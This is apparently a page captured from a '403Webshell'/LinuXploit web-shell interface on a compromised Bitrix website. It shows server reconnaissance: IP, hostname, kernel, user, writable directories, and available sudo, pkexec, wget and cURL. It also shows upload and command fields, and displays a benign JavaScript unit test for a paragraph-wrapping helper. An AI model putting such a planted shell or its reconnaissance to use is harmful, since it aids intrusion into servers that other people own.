403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/text-editor/test/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/text-editor/test/wrap-text-in-paragraph.test.js
import { wrapTextInParagraph } from '../src/helpers/wrap-text-in-paragraph';

describe('Wrap text in paragraph', () => {
	it('should wrap a simple text', () => {
		assert.equal(wrapTextInParagraph('\n\ntext'), '<p></p><p>text</p>');
		assert.equal(wrapTextInParagraph('\r\n\r\ntext'), '<p></p><p>text</p>');
		assert.equal(wrapTextInParagraph(''), '<p></p>');
		assert.equal(wrapTextInParagraph('\n\n'), '<p></p><p></p>');
		assert.equal(wrapTextInParagraph('\n\n\n\n'), '<p></p><p></p><p></p>');
		assert.equal(wrapTextInParagraph('\r\n\r\n'), '<p></p><p></p>');
		assert.equal(wrapTextInParagraph('\r\n\r\n\r\n\r\n'), '<p></p><p></p><p></p>');
		assert.equal(wrapTextInParagraph('text'), '<p>text</p>');
		assert.equal(wrapTextInParagraph('text\n'), '<p>text<br></p>');
		assert.equal(wrapTextInParagraph('text\nabc'), '<p>text<br>abc</p>');
		assert.equal(wrapTextInParagraph('text\nabc\ndefg'), '<p>text<br>abc<br>defg</p>');
		assert.equal(wrapTextInParagraph('text\r\nabc\r\ndefg'), '<p>text<br>abc<br>defg</p>');
		assert.equal(wrapTextInParagraph('text\n\nabc'), '<p>text</p><p>abc</p>');
		assert.equal(wrapTextInParagraph('text\r\n'), '<p>text<br></p>');
		assert.equal(wrapTextInParagraph('text\r\nabc'), '<p>text<br>abc</p>');
		assert.equal(wrapTextInParagraph('text\r\nabc\r\ndefg'), '<p>text<br>abc<br>defg</p>');
		assert.equal(wrapTextInParagraph('text\r\n\r\nabc'), '<p>text</p><p>abc</p>');
		assert.equal(wrapTextInParagraph('text\n\nabc\n\ndefg'), '<p>text</p><p>abc</p><p>defg</p>');
		assert.equal(wrapTextInParagraph('text\r\n\r\nabc\r\n\r\ndefg'), '<p>text</p><p>abc</p><p>defg</p>');
		assert.equal(wrapTextInParagraph('\n\n\ntext'), '<p></p><p><br>text</p>');
		assert.equal(wrapTextInParagraph('\n\n\n\ntext'), '<p></p><p></p><p>text</p>');
		assert.equal(wrapTextInParagraph('\n\ntext\n\n'), '<p></p><p>text</p><p></p>');
		assert.equal(wrapTextInParagraph('\n\n\ntext\n\n\n'), '<p></p><p><br>text</p><p><br></p>');
		assert.equal(wrapTextInParagraph('\n\n\n\ntext\n\n\n\n'), '<p></p><p></p><p>text</p><p></p><p></p>');
		assert.equal(wrapTextInParagraph('\ntext'), '<p><br>text</p>');
		assert.equal(wrapTextInParagraph('\ntext\n'), '<p><br>text<br></p>');
		assert.equal(wrapTextInParagraph('\r\n\r\n\r\ntext'), '<p></p><p><br>text</p>');
		assert.equal(wrapTextInParagraph('\r\n\r\n\r\n\r\ntext'), '<p></p><p></p><p>text</p>');
		assert.equal(wrapTextInParagraph('\r\n\r\ntext\r\n\r\n'), '<p></p><p>text</p><p></p>');
		assert.equal(wrapTextInParagraph('\r\n\r\n\r\ntext\r\n\r\n\r\n'), '<p></p><p><br>text</p><p><br></p>');
		assert.equal(wrapTextInParagraph('\r\n\r\n\r\n\r\ntext\r\n\r\n\r\n\r\n'), '<p></p><p></p><p>text</p><p></p><p></p>');
		assert.equal(wrapTextInParagraph('\r\ntext'), '<p><br>text</p>');
		assert.equal(wrapTextInParagraph('\r\ntext\r\n'), '<p><br>text<br></p>');

		assert.equal(wrapTextInParagraph('\none\ntwo\n\nthree\n\n\nfour'), '<p><br>one<br>two</p><p>three</p><p><br>four</p>');
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit